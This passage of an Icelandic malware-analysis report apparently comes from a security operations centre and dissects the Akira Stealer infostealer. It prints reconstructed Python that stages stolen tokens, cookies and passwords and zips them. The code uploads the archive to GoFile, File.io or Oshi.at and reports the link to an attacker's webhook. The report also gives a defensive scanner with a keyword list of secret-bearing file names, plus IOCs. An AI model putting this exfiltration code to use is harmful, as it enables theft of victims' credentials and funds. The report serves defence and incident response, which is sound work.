Akira skipuleggur alla söfnuðu artifacts í hreina og lagskipta tímabundna möppuuppbyggingu. Þessi hönnun gerir pökkun skilvirka og einfaldar árásaraðilanum að fara yfir niðurstöðurnar eftir exfiltration. Hver gagnaflokkur, svo sem Tokens, Cookies, Passwords eða Screenshots, er geymdur í sinni eigin undirmöppu undir rótarslóð sem er nefnd eftir tölvu fórnarlambsins (t.d. DESKTOP1234). Þetta skipulag tryggir skýrleika, lágmarkar afföll og einfaldar pökkun og upphal. Það gerir einnig sjálfvirka úrvinnslu eða handvirka skoðun mun auðveldari hjá árásaraðilanum.
C:\Users\User\AppData\Local\Temp\DESKTOP1234\
├─ Tokens\
│ ├ token_ab12cd34.txt
│ └ token_ef56gh78.txt
├─ Cookies\
│ ├ Chrome_Cookies.txt
│ └ Discord_Cookies.txt
├─ Autofill\
├─ Passwords\
├─ Logs\
└─ Screenshots\
7.12.2 Staging tokens og artifacts
Áður en exfiltration hefst staging-ar Akira alla viðeigandi artifacts í samsvarandi undirmöppur. Gildi tokens eru til dæmis skrifuð í sérstakar .txt-skrár til að einfalda hraða skoðun og staðfestingu. Cookies, sjálfvirkar útfyllingarfærslur og lykilorð eru á sama hátt skrifuð í skipulagðar textaskrár nefndar eftir browsernum. Þetta skref samræmir gagnaskipulagið og gerir sjálfvirkum verkfærum kleift að fylgjast með því sem var safnað. Það tryggir líka að ZIP-safnskráin sem verður til endurspegli forspáanlegt snið sem er hentugt fyrir árásaraðilann, óháð því hvaða einingar voru kveiktar.
import os, shutil
# Constants
TMP = os.getenv('TEMP')
ROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))
# Prepare structure
for sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:
os.makedirs(os.path.join(ROOT, sub), exist_ok=True)
# Save token
with open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:
f.write(token)
- Tokens vistuð í aðskildum litlum textaskrám til fljótlegrar skoðunar.
- Cookie-dumpar úr
Chromium.GetCookies()skrifaðir í{Browser}_Cookies.txt.
7.13.3 Að búa til ZIP-safnskrá
Þegar staging er lokið þjappar Akira allri möppunni í eina ZIP-safnskrá. Skráarheiti safnskrárinnar fylgir samræmdri nafnavenju:
import zipfile, datetime
def create_archive(root_dir: str) -> str:
ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')
zip_name = os.path.basename(root_dir) + f'_{ts}.zip'
zip_path = os.path.join(os.path.dirname(root_dir), zip_name)
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:
for dirpath, _, files in os.walk(root_dir):
for fname in files:
full = os.path.join(dirpath, fname)
rel = os.path.relpath(full, root_dir)
zf.write(full, rel)
return zip_path
- Safnskráin nefnd
DESKTOP1234_20250505T123456Z.ziptil samræmis við hostinn.
Nafnavenja ZIP-skráarheita
Safnskráin er nefnd eftir tölvuheiti kompromíseraða hostsins og svo UTC-tímastimpli á ISO-sniði, sem tryggir einkvæmni og tímaröð.
import datetime, os
def create_archive(root_dir: str) -> str:
# Generate UTC timestamp in YYYYMMDDThhmmssZ format
ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')
# Construct ZIP filename: <ComputerName>_<Timestamp>.zip
zip_name = os.path.basename(root_dir) + f'_{ts}.zip'
zip_path = os.path.join(os.path.dirname(root_dir), zip_name)
return zip_path
Safnskráin er nefnd eftir tölvuheiti kompromíseraða hostsins og svo UTC-tímastimpli á ISO-sniði, sem tryggir einkvæmni og tímaröð.
7.14.4 Verkflæði upphals
Akira notar þrískipta upphalsstefnu til að hámarka líkurnar á að exfiltration gangi upp. Það reynir fyrst að hlaða safnskránni upp á GoFile.io með opinbera API þeirra, sem skilar niðurhalshlekk. Sé GoFile óaðgengilegt eða blokkað fellur það yfir á File.io og svo Oshi.at, sem tryggir að gögnin komist alltaf áfram. Þessar þjónustur bjóða nafnlausa og skammlífa hýsingu, sem gerir niðurtekt og rekjanleika erfiða. Scriptið fangar endanlega niðurhals-URL-ið og undirbýr það til afhendingar með webhook.
- Aðalleið: GoFile.io
- API til að finna servera:
GET https://api.gofile.io/servers - Upphalsendapunktur:
POST https://<server>.gofile.io/contents/uploadfile - Svarsvæði:
data.downloadPageinniheldur endanlegt URL.
- API til að finna servera:
- Varaleið 1: File.io
- Upphalsendapunktur:
POST https://file.io/meðfiles={'file': open(...)} - Svar: JSON-svæðið
link.
- Upphalsendapunktur:
- Varaleið 2: Oshi.at
- Upphalsendapunktur:
POST http://oshi.at/meðfiles[]og breytunumexpire=43200, autodestroy=0. - Svar: plaintext sem inniheldur
DL: <url>.
- Upphalsendapunktur:
Kóðabrot úr útfærslunni:
import requests
def upload_with_fallback(zip_path):
# GoFile
try:
servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']
for srv in servers:
try:
r = requests.post(
f'https://{srv}.gofile.io/contents/uploadfile',
files={'file': open(zip_path,'rb')}, timeout=20)
url = r.json()['data']['downloadPage']
if url: return url
except: continue
except: pass
# File.io
try:
r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)
return r.json().get('link','')
except: pass
# Oshi.at
try:
text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text
return text.split('DL: ')[1].strip()
except: pass
return ''
7.15.5 Webhook-viðvaranir, sókn árásaraðilans og takmörk á sýnileika greinandans
Eftir að ZIP-safnskránni hefur verið hlaðið upp sendir Akira webhook-tilkynningu, yfirleitt á Discord eða Telegram, með skipulögðu embedi sem inniheldur ítarlegar upplýsingar: fjölda stolinna tokens, fjölda cookies, skráarstærð og niðurhalshlekk sem má klikka á. Það gefur árásaraðilum tafarlausa svörun og aðgang til að sækja gögnin. Til að tryggja áreiðanleika er einnig sent varaskeyti í plaintext sem inniheldur aðeins hlekkinn á safnskrána. Þessi afritun tryggir afhendingu, jafnvel þótt embedið sé blokkað eða síað af pallinum. Frá sjónarhóli þeirra sem verjast eru þessi samskipti oft ósýnileg nema vöktun á útgangandi netumferð sé til staðar.
Embed-tilkynning
# Build embed with key metadata
token_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))
fields = [
{'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},
{'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},
{'name':'🔑 Tokens','value':str(token_count),'inline':True},
{'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},
{'name':'🔐 Passwords','value':str(data.password_count),'inline':True},
]
payload = {
'username':'Akira 💊',
'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]
}
requests.post(webhook_url, json=payload, timeout=8)
- Afhending: sent á Discord- eða Telegram-rás árásaraðilans.
- Embed-hlekkur: inniheldur
download_urlsem má klikka á og vísar á ZIP-ið á GoFile (eða varahýsingu).
Varaleið með hráum hlekk
# Ensure attacker always has direct URL, even if embeds fail
message = f"📥 Archive available at: {download_url}"
requests.post(webhook_url, data={'message': message}, timeout=8)
- Plaintext: tryggir afhendingu hlekksins ef embed eru blokkuð eða hljóðlega felld niður.
Hvernig árásaraðilinn sækir hlekkinn
1. Webhook-innviðir Árásaraðilinn byggir webhook-endapunktinn inn í uppsetningu malware-sins:
# at class initialization
self.default_webhook = "%DISCORD_OR_TG_WEBHOOK_URL%"
- Discord:
https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN> - Telegram:
https://api.telegram.org/bot<TELEGRAM_TOKEN>/sendMessage
2. Afhending í rauntíma Strax eftir að upphal skráar gengur upp keyrir malware-ið:
payload = {
'username': 'Akira 💊',
'embeds': [{
'title': '🗄️ Exfiltration Complete',
'fields': [
{'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}
]
}]
}
# Transmit the archive URL entirely in the JSON body
requests.post(self.default_webhook, json=payload, timeout=8)
download_url-breytan er felld inn ífields.valueembedsins.- Í Telegram-varaleiðinni birtist
download_urlímessage-breytunni í plaintext.
3. Takmarkanir á sýnileika EDR og forensic
- Engin staðbundin loggun: malware-ið skrifar
download_urlhvorki á disk né í kerfisogga. - Blindir punktar EDR: tól eins og Microsoft Defender for Endpoint gætu merkt HTTP-beiðnina en geta ekki dregið út innbyggða URL-ið.
4. Hvers vegna greinandinn getur ekki endurheimt þetta staðbundið:
- Ekkert staðbundið afrit af hlekknum: malware-ið skrifar
download_urlaðeins í minni og sendir það yfir netið, það vistar þetta URL ekki á disk eða í logga. - Skammlíf staging-tiltekt: strax eftir upphal keyrir kóðinn:
shutil.rmtree(ROOT),
sem þurrkar alla staged artifacts (þar á meðal allar skammlífar textaskrár) út úr%TEMP%. - Sending eingöngu yfir net: webhook-köll (
requests.post) fara fram í minni, engir HTTP-loggar eða færslur í vafraferli verða til á vél fórnarlambsins.
Hvað þetta þýðir fyrir greinendur: Án lifandi pakkasöfnunar (t.d. network TAP eða proxy) á keyrslutíma er nákvæmt
download_urlóendurheimtanlegt eftir sýkinguna. Auk þess er exfiltreruðu safnskránni eytt sjálfkrafa af hýsingarþjónustunni, sem minnkar glugga fyrir forensic-sókn enn frekar. Diskmyndir eða hostbyggð forensic-endurheimt eftir sýkinguna munu ekki afhjúpa URL árásaraðilans eða credentials skráahýsingarinnar, því engir artifacts verða eftir staðbundið.
7.13 Niðurstaða
astor.py (Akira Stealer v2) er heildstætt stealer-verkfærasett sem dreift er í viðskiptaskyni. Það sameinar breið skotmörk, fágaða vörn gegn greiningu, dýnamíska stýringu innviða og gagnaþjófnað á öllum lögum, þvert á credentials, kryptó, kerfisgreiningu og skrár notandans. Einingaskipting þess og ósýnileiki, ásamt hröðum endursýkingaraðferðum, gera það að einum tæknilega háþróaðasta stealer sem sést hefur í virkri dreifingu.
8. Hringlaga keyrslukeðja: sjálfslæknandi lykkja
Einn tæknilega fágaðasti þátturinn í þessari herferð er endurmyndandi og hringlaga keyrslumódel hennar. Ólíkt hefðbundnu malware með línuleg þrep sem ganga frá dropper til payloads og hverfa svo var þessi aðgerð hönnuð eins og lokuð lykkja, þar sem hver hluti vaktar aðra.
Þessi sjálfslæknandi arkitektúr gerði sýkingarkeðjuna ekki aðeins þrálátt heldur einnig sjálfstæða. Hún gat jafnað sig að fullu eftir að hluti hennar var fjarlægður. Svo lengi sem eitt brot var enn á lífi gat allt malware-vistkerfið byggt sig upp á nýjan leik.
8.1 Hegðunin brotin niður
- Festa fyrir persistence (
Updater.exe)Updater.exeer grunnfótfestan. Það er yfirleitt skrifað niður á startup-stað notanda í Windows, svo sem%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup, eða skráð í gegnumHKCU\Software\Microsoft\Windows\CurrentVersion\Run. Verk þess er einfalt en afgerandi: að tryggja aðmain.exesé til staðar og ræsa það hljóðlega við innskráningu notanda. Efmain.exevantar dregur það safnskránaapp-64.7zút aftur (sem liggur í tímabundinni möppu eða er skrifuð niður upp á nýtt) og endurmyndar alla Electron-forritsuppbygginguna. - Brúarloader (
main.exe)main.exeer Node.js-forritið pakkað í Electron. Það birtir ekkert GUI og starfar alfarið í bakgrunni. Við keyrslu keyrir það innbyggðu JavaScript-rökvísina inni íapp.asarog notar Node.js sem runtime-umhverfi. Þetta abstraktionslag skilur kjarnarökvísina frá PE-stubbnum og hjálpar til við að komast hjá hefðbundinni greiningu. - Keyrslustjórnandi (
jscryter.js) Þetta er innbyggt íapp.asarog er hinn raunverulegi stjórnandi sýkingarkeðjunnar. Meðal helstu hlutverka þess eru:- Að athuga hvort
Updater.exesé til staðar og dreifa því aftur ef það vantar - Að skjóta inn uppsetningu á keyrslutíma með dýnamískum hætti: webhook-URL, C2-heimilisföng, tokens
- Að kalla annaðhvort á Python-payloadinn sem þegar er til staðar (
astor.py) eða sækja hann sem hluta af ZIP-búnti (t.d.pyth.zip) frá innviðum sem árásaraðilinn stýrir
- Að athuga hvort
- Keyrsla payloads (
astor.py) Þegar kveikt er á því keyrirastor.pyí minni í gegnumpython.exe. Það safnar með aðferð vistuðum credentials, cookies, Discord-tokens, setugögnum browsers og extensions fyrir kryptóveski. Gögnin eru staged í ZIP-safnskrá og exfiltreruð yfir HTTPS, yfirleitt á Discord-webhooks, en einnig hafa varaleiðir eins oggofile.ioeða sérsniðnir C2-endapunktar sést. - Heilleiki lykkjunnar og sjálfslækning
Hönnunin er hringlaga. Ef
Updater.exeer eytt verður því dreift aftur. Efmain.exevantar dregurUpdater.exeþað út aftur úrapp-64.7z. Efastor.pyer eytt sækir JavaScript-lagið það aftur. Þessi gagnkvæma háðni gerir malware-ið þolið og gefur því getu til að endurgera keyrslukeðju sína úr nánast hverju broti sem eftir lifir.
Þessi arkitektúr er ekki aðeins einingaskiptur, hann er sjálfbær, hannaður af ásettu ráði til að vera ósýnilegur, sveigjanlegur og lífseigur í markumhverfum.
8.2 Hvers vegna þetta er eftirtektarvert
Arkitektúrhönnun herferðarinnar endurspeglar fágun sem sjaldan sést í fjöldaframleiddum infostealers. Hún gengur lengra en einfaldir fjölþrepa loaders, þetta er malware hannað fyrir rekstrarþol, ósýnileika og sjálfvirkni.
Helstu einkenni
- Fullt sjálfstæði Þegar því hefur verið dreift þarf malware-ið enga þátttöku notanda og enga utanaðkomandi endurvirkjun. Það hegðar sér eins og illgjörn microservice og stjórnar sínu eigin persistence, keyrslu payloads og viðgerðarrútínum án utanaðkomandi stýringar.
- Keyrslustakkur í mörgum forritunarmálum
Verkfærakeðjan samþættir:
- PE-binaries (
Updater.exe,main.exe) - Node.js / JavaScript (í gegnum Electron)
- PowerShell (notað fyrir obfuskerað relay payloads)
- Python (
astor.py, keyrt sem stealer sem býr í minni) Þessi lagskipta samsetning gerir erfiðara að taka fingrafar af því, greina það og skoða með hefðbundnum statískum tólum.
- PE-binaries (
- Vörn gegn greiningu frá grunni
Hver hluti er kóðaður, dulkóðaður eða innskotinn dýnamískt:
- Base64-PowerShell-relay
- AES-dulkóðaður og GZIP-þjappaður Python-kjarni
- Obfuskerað JavaScript með innspýtingu tokens á keyrslutíma
- Sjálfslæknandi hegðun sem torveldar að fjarlægja hluta
- Enginn einn bilunarpunktur
Sjálfsviðgerðarrökvísi malware-sins tryggir að það nægir ekki að fjarlægja einn hluta. Ef
Updater.exeer fjarlægt endurgerir infostealerinn það. Efastor.pyer eytt sækir JavaScript-stjórnandinn það aftur og dreifir því á nýjan leik.
Í stuttu máli hegðar malware-ið sér frekar eins og dreift kerfi en dæmigerður payload, kerfi sem setur lífseigju, einingaskiptingu og ósýnileika í fyrsta sæti.
Það lyftir ógninni frá tilviljanakenndri árás upp í þolinn og aðlögunarhæfan pall, sem kallar á að þeir sem verjast mæti flækjustigi hans með jafn lagskiptum aðferðum við detection og viðbrögð.
8.3 Hvað þetta þýðir fyrir blue teams
Fyrir þá sem verjast og fyrir CSOC-stjórnendur hækkar þessi tegund arkitektúrs þröskuldinn:
- Það gagnast ekki að taka til að hluta. Alla hnúta þarf að greina og fjarlægja samtímis.
- Samtenging í Defender for Endpoint er ómissandi. Greinendur verða að rekja heilar keðjur: frá
Updater.exe→cmd.exe→powershell.exe→python.exe. - Persistence án IOC þýðir að heuristík byggð á minni, grunnlínur í telemetríu og detection byggð á keðjum eru lykillinn.
Þetta er ekki bara stealer. Þetta er þolinn malware-pallur sem hegðar sér frekar eins og dreift kerfi en einföld ógn. Og það er nákvæmlega það sem gerir hann bæði áhrifamikinn og hættulegan.
9. Rakning og greining á blockchain
9.1 Að rekja dreifingu fjármuna í malware-herferð byggðri á Litecoin
Á reverse engineering-stigi þessarar malware-herferðar drógum við út mörg harðkóðuð veskjaheimilisföng sem stealerinn notaði til exfiltration kryptógjaldmiðla. Með því að fylgja virkni þessara Litecoin-veskja á keðjunni gátum við afhjúpað mynstur sem gefa vísvitandi peningaþvætti til kynna. Veskið LW6EopiZ..., sem árásaraðilinn stýrir, virkar sem miðlægur samsöfnunarpunktur. Fjármunum sem stolið er frá mörgum fórnarlömbum er trektað inn á þetta heimilisfang og þeim svo dreift hratt á mörg ný heimilisföng.
Hegðunin sem sést hér er dæmigerð fyrir klassískt klofningsmynstur sem notað er í tumbling- eða mixing-aðgerðum með kryptó. Í hverju tilviki er öll innkomna staðan skipt í tvær nokkurn veginn hlutfallslegar útgangandi færslur, hver send á annað veski. Þessari stefnu er ætlað að torvelda klösun heimilisfanga og rakningu á keðjunni með því að hylja uppruna fjármunanna. Það er áhrifarík taktík til að komast hjá detection frá sjálfvirkri blockchain-greiningu og threat intelligence-pöllum.
Þessi þvættishegðun nýtir samsetningu tímasetningar færslna, nákvæmrar klofningar verðmæta og lágmörkunar á endurnotkun heimilisfanga til að komast fram hjá heuristík sem klösunaralgrím eins og þau í GraphSense, Chainalysis eða TRM Labs nota almennt. Heildarmarkmiðið er að skapa færsluflæði með háa óreiðu, sem ruglar attribution og rýfur tengjanleika, sérstaklega þegar fjármunirnir eru loks brúaðir yfir í aðrar eignir eða skipt í myntir með áherslu á einkalíf.
Í dæminu hér fyrir neðan sýnum við skipulagt úrtak þessarar hegðunar. Innkomnu færslurnar eru aðskildar millifærslur frá fórnarlömbum. Þessum gildum er svo varpað nákvæmlega á útgangandi flæði, sem sýnir myntirnar "þvegnar" í gegnum hraðar, forspáanlegar og algrímískt klofnar útgreiðslur.
| Uppruni inntaks | Dagsetning inntaks | Inn (LTC) | → Veski árásaraðila | Útgangandi heimilisföng | Samtals út (LTC) |
|---|---|---|---|---|---|
| Input_1 | 2024-09-21 | 0.25339198 | LLQtaBnSAF... |
- LZmHkgkED... (0.15579078, 2024-09-26)- M8JpDsw5H7... (0.09760120, 2024-09-26)
|
0.25339198 |
| Input_2 | 2024-04-16 | 1.09976044 | LLQtaBnSAF... |
- LgWrCAF8ED... (0.84304664, 2024-06-13)- LgWrCAF8ED... (0.25671380, 2024-06-13)
|
1.09976044 |
| Input_3 | 2024-03-06 | 0.77089346 | LLQtaBnSAF... |
- LZL3wQcSRP... (0.38544673, 2024-03-04)- M8kiBpVHG3... (0.38544673, 2024-03-04)
|
0.77089346 |
| Input_4 | 2024-03-06 | 0.77089346 | LLQtaBnSAF... |
- LUFLTrqYpix... (0.38544673, 2024-03-04)- La22dfH9eM... (0.38544673, 2024-03-04)
|
0.77089346 |
10. Innan Akira-vistkerfisins – netbrotainnviðir í viðskiptaskyni
Akira er ekki bara stealer, það er hjarta blómlegs undirheimavistkerfis sem hannað er til að einfalda, skala og fjárnýta netbrot.
10.1 Plug-and-play vistkerfi fyrir ógnaraðila
Akira-vistkerfið er dæmi um það hvernig netbrot hafa þróast í fagmannlegt og þjónustudrifið hagkerfi. Í því eru:
- Builder-bottar til að búa til payloads eftir þörfum (t.d.
@AkiraRedBot) - Telegram-rásir fyrir uppfærslur, beiðnir um eiginleika og þjónustu við viðskiptavini
- Sjálfvirk leyfis- og greiðsluumsjón, oft í gegnum einkaskeyti eða nafnlausa netverslunarpalla eins og Sellix
- Einingar í búntum svo sem klippiborðsyfirtökur, Discord-token-loggarar, stealers fyrir browsergögn og jafnvel ransomware-viðbætur
- Sérstillanleg payloads með uppsetningarviðmótum sem leyfa rofa, webhook-inntak og eigin táknmyndir

10.2 Fjárnýting netbrota
Uppbygging Akira endurspeglar breiðari þróun í átt að "Malware-as-a-Service" (MaaS), þar sem:
- Engrar djúprar tækniþekkingar er þörf til að hefja árásir
- Aðgangskostnaður er lágur ($75 fyrir 3 mánuði, $150 til æviloka)
- Stuðningur og skjölun eru samstundis í gegnum Telegram
- Framlög samfélagsins víkka Akira reglulega út með scriptum og tillögum um eiginleika
Þetta vistkerfi speglar lögmæt SaaS-viðskiptamódel, með changelogs, endurbótum á notendaupplifun, verðþrepum og viðbótarsölu.

10.3 Umfram stealerinn – hlutar vistkerfisins
Þótt astor.py sé hjarta margra árása býður vistkerfið upp á alla keðjuna:
- Obfuskunartól eins og PyInstaller-wrappers
- Skráabindara til að tengja illgjarna payloads við meinlausan hugbúnað
- Þýðendur, crypters og fjölbreytileika á keyrslutíma
- Hýsingarspegla til afhendingar payloads og exfiltration (t.d. GoFile, AnonFiles)
- Gagnaumsjónarbotta sem draga saman stolin credentials og vélbúnaðarprófíla

11. Akira Stealer QuickCheck: skrár sem urðu fyrir árásinni
11.1 Til hvers er þetta?
Eftir meinta Akira Stealer-sýkingu er afgerandi að vita samstundis hvaða skrár á kerfinu þínu voru í hættu á að verða exfiltreraðar. QuickCheck PowerShell-scriptið sem lýst er hér fyrir ofan endurgerir nákvæmlega leitarrökvísi Akira: það skannar möppurnar Desktop, Documents, Downloads og OneDrive hjá notandanum að skrám sem:
- Innihalda viðkvæm leitarorð í skráarheitinu, svo sem
password,wallet,backupeðatoken - Hafa tiltekna skráarendingu sem algengt er að beinst sé að (.txt, .docx, .pdf, .jpg og fleira)
- Eru undir 2 MB stærðarþakinu sem malware-ið setur
Þótt QuickCheck gefi hratt yfirlit byggt á innri rökvísi Akira Stealer kemur það ekki í staðinn fyrir heildstæð forensic-verkfæri eða faglega incident response. Fylgdu alltaf eftir með dýpri greiningu þegar staðfest innbrot eru annars vegar.
Það birtir svo raðaða töflu með skráarheiti, hlutfallslegri slóð, stærð (KB) og leitarorðinu sem kveikti.
FYRIRVARI Þetta tól er látið í té “as is” án nokkurrar ábyrgðar á heilleika eða hæfi til tiltekins tilgangs. Það tryggir ekki að allar hugsanlega viðkvæmar skrár finnist og kemur ekki í staðinn fyrir fulla malware-forensic. Notkun er á eigin ábyrgð.
Lagalegur fyrirvari
Þetta QuickCheck-tól er eingöngu ætlað til mats í defensive security. Óheimil skönnun eða notkun á kerfum sem þú átt ekki getur brotið lög um einkalíf, höfundarrétt eða misnotkun tölvukerfa. glueckkanja AG tekur á sig enga ábyrgð á misnotkun eða skaða sem hlýst af notkun þess.
PowerShell-script
<#
.SYNOPSIS
QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.
.DESCRIPTION
Scans Desktop, Documents, Downloads and OneDrive for files that:
• Contain one of the defined keywords in their name
• Have an allowed file extension
• Are not larger than 2 MB
Presents the results in a colored, tabular overview.
.NOTES
© glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach
#>
# -------------------------------------
# 1. Configuration
# -------------------------------------
$scanFolders = @(
"$env:USERPROFILE\Desktop",
"$env:USERPROFILE\Documents",
"$env:USERPROFILE\Downloads",
"$env:USERPROFILE\OneDrive"
)
$keywords = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'
$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'
$maxSize = 2MB
# -------------------------------------
# 2. Scan and Collect Matches
# -------------------------------------
$matches = [System.Collections.Generic.List[PSObject]]::new()
foreach ($folder in $scanFolders) {
if (-not (Test-Path $folder)) { continue }
Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
# 2.1 Extension filter
if ($extensions -notcontains $_.Extension.ToLower()) { return }
# 2.2 Size filter
if ($_.Length -gt $maxSize) { return }
# 2.3 Keyword filter: explicit loop to avoid null-method calls
$hit = $null
foreach ($kw in $keywords) {
if ($_.Name.ToLower().Contains($kw)) {
$hit = $kw
break
}
}
if (-not $hit) { return }
# 2.4 Build relative path
$rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)
# 2.5 Collect
$matches.Add([PSCustomObject]@{
FileName = $_.Name
Location = $rel
'Size (KB)' = [math]::Round($_.Length / 1KB, 1)
Keyword = $hit
})
}
}
# -------------------------------------
# 3. Display Results
# -------------------------------------
clear
Write-Host "🔍 glueckkanja AG – Akira Stealer QuickCheck" -ForegroundColor Cyan
Write-Host "────────────────────────────────────────────────────────" -ForegroundColor DarkCyan
if ($matches.Count -gt 0) {
$matches |
Sort-Object Location, FileName |
Format-Table -AutoSize `
@{Label='File'; Expression={$_.FileName}},
@{Label='Location'; Expression={$_.Location}},
@{Label='Size (KB)'; Expression={$_. 'Size (KB)'}},
@{Label='Keyword'; Expression={$_.Keyword}}
Write-Host "`n⚠️ Total potential matches: $($matches.Count)" -ForegroundColor Yellow
}
else {
Write-Host "✅ No potentially compromised files found." -ForegroundColor Green
}
Write-Host "`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach" -ForegroundColor DarkGray
Write-Host "Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis." -ForegroundColor DarkGray
12. Umfram viðbrögð – hvernig glueckkanja CSOC breytir atvikum í þekkingu
Flest security operations centers láta staðar numið við innilokun. Við gerum það ekki.
Hjá glueckkanja CSOC lítum við á incident response ekki sem endamarkið heldur upphafspunktinn.
Þegar aðrir lýsa yfir sigri og halda á braut köfum við dýpra. Fyrir okkur er hvert atvik tækifæri til að læra, aðlagast og verða sterkari. Óþreytandi forvitni okkar, keyrð af margra ára djúpri forensic-sérþekkingu og reverse engineering getu, tryggir að við verjumst ekki aðeins, við sjáum fram í tímann.
Þessi hugsun er ástæðan fyrir því að við byggðum Akira Compromise Reporter.
Þetta forensic-tól, sem við þróuðum sjálf, gengur langt lengra en grunn-detection og nýtir nána þekkingu okkar á Akira Stealer til að gefa algeran skýrleika um hvaða gögn hafa verið kompromíseruð. Á fáum mínútum framleiðir það nákvæma mynd af öllum áhrifum atviksins sem hægt er að vinna með:
- Nákvæmlega hvaða credentials, tokens og browser-setum var stolið.
- Nákvæmlega hvaða kryptóveski, skilaboðareikningar og skrár lágu opin.
- Skýra, skipulagða og ítarlega forensic-skýrslu, sem breytir óvissu í tafarlausar og upplýstar aðgerðir.

Því hjá glueckkanja mælum við árangur okkar ekki aðeins í blokkuðum ógnum heldur í þeim skýrleika sem við skilum. Cybersecurity, rétt unnin, snýst ekki um að bregðast við atvikum, hún snýst um að skilja, aðlagast og vera alltaf einu skrefi framar.
Það er það sem greinir glueckkanja CSOC frá öðrum.
13. Indicators of Compromise (IOCs)
Hér fyrir neðan er heildstætt safn IOC, orðrétt eins og þau voru dregin beint úr malware-kóðanum við reverse engineering-vinnu okkar innanhúss hjá glueckkanja CSOC. Engar tilgátur og engar utanaðkomandi threat intel-heimildir voru notaðar, allir indikatorar eru staðfestar niðurstöður. Öllum URL er obfuskerað af ásettu ráði til að hindra að klikkað sé á þau fyrir slysni.
Skammstafanir:
- TG: Telegram-tilkynningarás
- Alt: annar (vara) endapunktur
1. Lén og URL
| Flokkur | Obfuskerað URL | Lýsing |
|---|---|---|
| Aðalinnspýting | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/inj[.]php |
Upphaflegur webhook-endapunktur árásaraðilans |
| Innspýting á varaleið | https[:]//cosmoplanets[.]net/.well-known/pki-validation/inj[.]php |
Annar innspýtingarendapunktur |
| Villutilkynningar (TG) | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/link[.]php |
URL fyrir villu- og loggtilkynningar á Telegram |
| Villutilkynningar (Alt) | https[:]//cosmoplanets[.]net/.well-known/pki-validation/link[.]php |
Annað URL fyrir villu- og loggtilkynningar |
| Vanity-bot (TG) | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/mumu[.]php |
Endapunktur fyrir tilkynningar um vanity-heimilisföng |
| Vanity-bot (Alt) | https[:]//cosmoplanets[.]net/well-known/pki-validation/mumu[.]php |
Annar endapunktur fyrir vanity-tilkynningar |
| Exodus-innspýting | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/exodus[.]asar |
Electron-eining forritsins Exodus |
| Atomic-innspýting | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/atomic[.]asar |
Electron-eining AtomicWallet |
| Niðurhal Updater | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/Updater[.]exe |
Keyranleg dropper-skrá fyrir persistence |
| Gofile API-listi | https[:]//api.gofile[.]io/servers |
Sækir besta upphalsserver GoFile |
| Athugun Discord-tokens | https[:]//discordapp[.]com/api/v9/users/@me |
Staðfestir stolið Discord-token |
| Greiðsluupplýsingar Discord | https[:]//discord[.]com/api/users/@me/billing/payment-sources |
Sækir greiðsluaðferðir |
| Replay á Google-OAuth | https[:]//accounts[.]google[.]com/oauth/multilogin |
Endurspilar stolin Google-setutokens |
| IP-athugun (hosting) | http[:]//ip-api[.]com/line/?fields=hosting |
Detection á hýsingarumhverfi |
| IP-uppflettingar (geo) | http[:]//ip-api[.]com/json/{ip} |
Staðsetning út frá IP |
| Sókn opinbers IP | https[:]//api[.]ipify[.]org |
Sækir ytri IP-tölu |
| Upphal á File.io | https[:]//file[.]io/ |
Önnur exfiltration-rás |
| Upphal á Oshi.at | http[:]//oshi[.]at/ |
Þriðja exfiltration-rás |
| JS-dropper, aðalleið | https[:]//rentry[.]co/7vzd22fg36hfdd33/raw | Fjartengd tilvísun á hið eiginlega ZIP-URL |
| JS-dropper, varaleið 1 | https[:]//cosmicdust[.]zip/.well-known/pki-validation/pyth.zip | Annað ZIP með payload |
| JS-dropper, varaleið 2 | https[:]//cosmoplanets[.]net/well-known/pki-validation/pyth.zip | Þriðja ZIP með payload til vara |
2. Heimilisföng kryptógjaldmiðla
| Gjaldmiðill | Heimilisfang |
|---|---|
| BTC | bc1qnmz2l8lr0yzj9eun48dyds7rlzg6t6hk5vw5zt |
| ETH | 0xa8a2C9e3fbCde807101dBD87aF7b51583f83d1D5 |
| DOGE | DACeoqWDPmNARSZAeDZPFwqwecbByaksmd |
| LTC | LLQtaBnSAFpCFUw5cXRRka7Nvtrs4Up9bH |
| XMR | 4AVdkoC16zwcjxF4q9cXdL2D4vGqC9iPAcQ9gmHzQ7JS1fUUff6Za3D6CKm9MsDrhSDRY9hgeca7yKnMGpaD8dq6Bo3mT7D |
| BCH | qrfs8ee558t0a2dlp9v6h4qzns5cd6pltqrrn883xs |
| DASH | XpeiSH1MfQYeehTfxosYHyTHzbgu2LNsG1 |
